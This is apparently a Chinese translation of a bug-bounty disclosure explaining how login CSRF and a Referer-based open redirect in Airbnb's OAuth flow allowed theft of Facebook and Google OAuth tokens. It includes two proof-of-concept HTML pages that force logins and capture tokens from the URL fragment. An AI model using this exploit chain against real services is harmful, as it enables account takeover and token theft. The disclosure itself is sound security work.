竊取 OAuth 令牌繞過 Airbnb 身份驗證

登錄過程中的CSRF與Airbnb的OAuth登錄流程中的基於HTTP Referer頭的開放重定向跳轉漏洞相結合,可能會被用來竊取所有的Airbnb身份提供商的OAuth訪問令牌,並最終確定Airbnb網站和移動應用程序的受害者。這種攻擊並不依賴於特定的OAuth身份提供程序的應用程序配置缺陷(例如白名單redirect_uri 的URL中的通配符),這對所有的Airbnb的身份提供者(包括Facebook和Google)都是通用的。Airbnb修復了登錄過程中的CSRF和開放的重定向問題,我在2016年夏天獲得了5000美元的獎金。

重新審視OAuth令牌竊取

大多數(不是全部)已經公開的OAuth令牌盜用攻擊示例都依賴於在身份提供者調用過程中的redirect_uri參數值的修改才可以完成攻擊,以便從認證的受害者竊取授權碼或access_token。這需要在身份提供者的末端為服務提供商的應用程序配置的redirect_uri配置一個(例如URL中的子域名或路徑的通配符)的非精確匹配的值。雖然這些攻擊的手法是相似的,但它們的相關技術和影響卻是不同的:

? 授權碼:通常通過回調URL 的跨域泄漏來竊取,該 URL 包含在重定向時身份提供者附加到redirect_uri 這個URL的授權 「 代碼 」的GET 參數值。 一個常見的例子是在載入跨域資源時通過 HTTP Referer頭來竊取。影響的結果通常是服務提供商的身份驗證被繞過,因為被盜的「代碼」可以用於作為受害者的身份進行登錄。

? access_token:通常通過跨域開放的重定向鏈進行竊取,因為access_token通過身份提供商的URL的位置(又稱location.hash)傳回,這在所有現代瀏覽器中進行伺服器端重定向跨域都是有效的。影響的結果通常是可以訪問受害者的身份提供者,並具有服務提供商的應用程序的許可權。FransRosén在Facebook上的一個易受攻擊的Slack應用程序中挖到的漏洞就是一個很好的例子。

但是,在研究Airbnb的OAuth設置時,我發現了一些新的東西:

? 通過修改Redirect_uri參數值竊取授權碼不起作用了。當服務提供商嘗試交換訪問令牌的授權碼時,大部分身份提供商都實施了額外的伺服器端檢查,這確保了redirect_uri在一開始是沒有被篡改的(如Facebook,Google)。這是件好事。

? 默認情況下,大部分身份提供商不允許在白名單中的redirect_uri列表中出現通配符。主要是因為傳統應用仍然很脆弱。這也是件好事。

? 竊取access_token也可能導致身份驗證繞過。通常,服務提供商的網站使用「授權代碼」流來執行登錄,但是他們的移動應用程序會利用本地存儲的身份提供者的access_tokens。只要將受保護的access_token替換為受害者的access_token,攻擊者就可以在服務提供商的移動應用上作為受害者進行身份認證。這不是一件好事。

Airbnb案例分析

在Airbnb的網站中,不允許對Airbnb應用程序的redirect_uri進行任何篡改,Facebook和Google只允許url的值出現在本地化的Airbnb站點列表。然而,Airbnb的移動應用程序確實使用身份提供商的長期訪問許可權來透明地對用戶進行身份驗證,這樣我們就可以增加對身份驗證的影響,以防止攻擊者可以竊取access_token。

在OAuth端點的開放式重定向

如果未經身份驗證的用戶瀏覽到Vacation Rentals, Homes, Experiences & Places - Airbnb上需要身份驗證的頁面(例如Sign Up to Airbnb),則他/她會被重定向到登錄頁面。但是,通過身份提供者成功登錄後,用戶將會自動重定向到他/她最初請求的原始頁面。該功能是通過Airbnb的redirect_params控制器實現的,沒有在該控制器中發現開放的重定向漏洞。

但是,如果用戶已經登錄到Airbnb,並從身份提供者返回時,則/ oauth_callback端點將根據最初的OAuth登錄調用 / oauth_connect中的HTTP Referer頭自動重定向用戶。 因此,OAuth流中的這種重定向返回再登錄的功能,完全基於HTTP Referer頭,因此,可以由攻擊者來控制。

該漏洞的PoC會在下面的視頻中進行演示。 首先,我們在瀏覽器中打開兩個airbnb.com/login。 之後,我們嘗試訪問/users/edit,這會導致額外的redirect_params控制器的GET參數被添加到我們的URL。 在第一個Airbnb瀏覽器標籤中成功登錄後,我們再次通過第二個瀏覽器標籤「使用Facebook登錄」。 在跳轉到Lloguers per vacances, allotjaments, experiències i llocs時,我們手動更改HTTP Referer頭,然後成功登錄到了Facebook上,用戶最終將會跳轉到更改過的Referer值的網站上。 需要注意的是,用戶必須成功登錄才能進行最終的重定向。

漏洞POC 演示視頻(需科學路徑,下列視頻同)

當然,這個視頻只能說明這個漏洞的根本原因,不是一個實用的利用方式。為了獲得成功,攻擊者必須完成另外三件事情:在向Airbnb(2)進行身份驗證的同時,使用任意的HTTP Referer頭(1)偽造對脆弱端點的請求,並獲取一些敏感數據,如URL中的OAuth令牌( 3)這能夠有效的竊取有用的東西。使用任意的HTTP Referer頭向易受攻擊的端點發出請求是非常容易的:在攻擊者的控制下簡單地將外部資源嵌入到網頁中將使瀏覽器自動發送Referer頭。

OAuth登錄CSRF和OAuth令牌竊取

由Facebook和Google在GET參數中向Airbnb端點傳回的沒有多大用處的OAuth授權碼在重定向期間將會丟失。然而,兩個身份提供者也通過URL片段(URL中的#之後的部分)提供access_tokens的通信,而不是URL參數。URL片段只存在於客戶端,並且在重定向期間被瀏覽器適當地保存並且可以從JavaScript訪問,即使是來自於完全不同的源的重定向鏈中的最後一個頁面。但是,還有一些其他問題:

? 如果我們想從身份提供者那裡檢索URL片段以便以後竊取,我們必須能夠修改對提供者的OAuth請求調用(將「token」添加到response_type參數)。但是,此請求僅在發起跳轉到具有整體攻擊所必需的open-redirect-through-HTTP-referer頭的Airbnb OAuth端點Lloguers per vacances, allotjaments, experiències i llocs之後才會發送。

? Airbnb的回調端點期望通過來自身份提供者的URL GET參數的授權碼。但是,當接收到URL片段時,會認為認證嘗試無效,因此不會執行最終的重定向,因為我們還沒有登錄。

這兩個問題都是通過使用同一個OAuth端點的登錄過程的CSRF漏洞來解決的,因為OAuth登錄是通過一個可偽造的GET調用啟動到Lloguers per vacances, allotjaments, experiències i llocs。攻擊者首先通過身份提供者透明地將他/她的受害者無意中登錄到自己的Airbnb帳戶,然後通過HTTP Referer頭設置重定向的URL。現在受害者被認證為Airbnb。請注意,有適當的OAuth CSRF保護(「state」參數),但是由於我們將受害者認證為自己的帳戶,因此這並不妨礙任何事情。

特別要說的是,任何附加的OAuth身份驗證流程將遵循完全相同的路徑,無論是否成功!現在,當攻擊者再次強迫受害者通過Facebook / Google進行額外的登錄,但是使用response_type 代碼時,令牌與正常代碼是相反的,較早的重定向流程仍然可以工作。具體來說,由於我們還是登錄了,所以會發生重定向到任意的HTTP Referer頭指定的URL值,這次是包含受害者身份提供商OAuth令牌的URL片段。

設計了兩個PoC,分別對應兩個身份提供者。思路是完全一樣的:

1. 受害者在瀏覽器標籤中對Facebook / Google進行身份驗證,並有一個與其相關聯的Airbnb帳戶,但不一定要登錄到Airbnb。

2. 受害者在攻擊者控制下打開一個網站(例如在POC視頻中的arneswinnen.net/airbnb...html)

3. 攻擊者的網站將首先不知不覺地將受害者登錄到Airbnb。為了不干擾潛在的現有的Airbnb會話(如果受害者正在瀏覽Airbnb),我們選擇在此PoC中使用Lloguers per vacances, allotjaments, experiències i llocs - Airbnb本地化的域。通過從攻擊者所擁有的網站執行此登錄CSRF,對GET OA登錄端點的請求中的HTTP Referer頭將保存攻擊者網站的值,並在此設置跳轉的地址。

4. 一旦受害者不知不覺地登錄到Lloguers per vacances, allotjaments, experiències i llocs - Airbnb,攻擊者現在就可以代表受害者再次創建一個Airbnb的OAuth認證請求。然而,這一次,請求直接發送到Facebook / Google(正常OAuth流程中的第二步),因此允許攻擊者將令牌的response_type設置為「code,token」(URL Fragments)而不是「code」( URL參數)。請注意,我們保持與redirect_uri參數完全相同的值。

5. 由於受害者目前已登錄,以前註冊的重定向到arneswinnen.net/airbnb...html仍然有效,IDP響應的URL片段中的OAuth令牌將最終在攻擊者的網站上。這裡可以使用一個簡單的JavaScript語句可以讀取瀏覽器中的URL Fragment,並且有效地竊取「code」和「token」兩者的OAuth值。

演示視頻一演示視頻二

攻擊者現在做到了兩件事情:

? 「code」OAuth令牌,可用於對airbnb.com作為受害者進行身份驗證。這是因為在我們的攻擊中redirect_uri沒有被更改,我們只是將其從GET參數更改為URL片段(參見步驟4)。

? 「access_token」OAuth令牌,可用於在身份驗證提供者上查詢受害者的信息,並將其作為Airbnb移動應用程序上的受害者用戶進行身份驗證。

下面你可以在PoC中找到託管在Arne Swinnens Security Blog上的兩個HTML文件的源代碼 – 它們已被刪除。

airbnb.com.gmail.html

<!DOCTYPE html>n<html>n<body>n<script>nif(window.location.hash) {n alert(window.location.hash)n window.stop()n // Fragment existsn}n</script>n n<object id=loginpage data="https://www.airbnb.cat/login/" onload="alert(Login page loaded. Now attempting login); document.getElementById(googlepage).setAttribute(data, https://www.airbnb.cat/oauth_connect?from=google_login&service=google);"></object>n n<object id=googlepage width_="400" height="50" onload="alert(Logged in & Referer header set. Now redirecting to steal the token!); window.location = https://accounts.google.com/o/oauth2/auth?response_type=code,token&access_type=offline&client_id=622686756548-j87bjniqthcq1e4hbf1msh3fikqn892p.apps.googleusercontent.com&state=WCTSVKIWPIXNFWEBRUIBNBJGJPYIJN&scope=profile+email&redirect_uri=https%3A%2F%2Fwww.airbnb.cat%2Foauth_callback;"></object> n n</body>n</html>n

airbnb.com.facebook.html

<!DOCTYPE html>n<html>n<body>n<script>nif(window.location.hash) {n alert(window.location.hash)n window.stop()n}n</script>n<object id=loginpage data="https://www.airbnb.cat/login/" onload="alert(Login page loaded. Now attempting login); document.getElementById(googlepage).setAttribute(data, https://www.airbnb.cat/oauth_connect?from=facebook_login&service=facebook);"></object>n n<object id=googlepage width_="400" height="50" onload="alert(Logged in & Referer header set. Now redirecting to steal the token!); window.location = https://www.facebook.com/dialog/oauth?response_type=code,token&client_id=138566025676&state=EQITJNHFHJYYDTBPYSQWSAFDLXHGLR&scope=email+user_birthday+user_likes+user_education_history+user_hometown+user_location+user_friends&redirect_uri=https%3A%2F%2Fwww.airbnb.cat%2Foauth_callback;"></object> n n</body>n</html>n

時間線

? 04/06/2016:向Airbnb提交錯誤報告

? 08/06/2016:由Airbnb試用

? 18/08/2016:由Airbnb修復

? 27/09/2016:由$ Airbnb授予$ 5.000賞金

? 10/06/2017:允許寫入Airbnb的blogpost

本文翻譯自:Authentication bypass on Airbnb via OAuth tokens theft ,如若轉載,請註明來源於嘶吼: 竊取 OAuth 令牌繞過 Airbnb 身份驗證 更多內容請關注「嘶吼專業版」——Pro4hou

推薦閱讀:

F5設備中存在一個Ticketbleed漏洞 可被遠程攻擊者利用
揭秘Project Zero:谷歌內部的超級黑客團隊、網路世界的「孤膽英雄」

TAG:Airbnb爱彼迎 | 安全漏洞 | 技术分析 |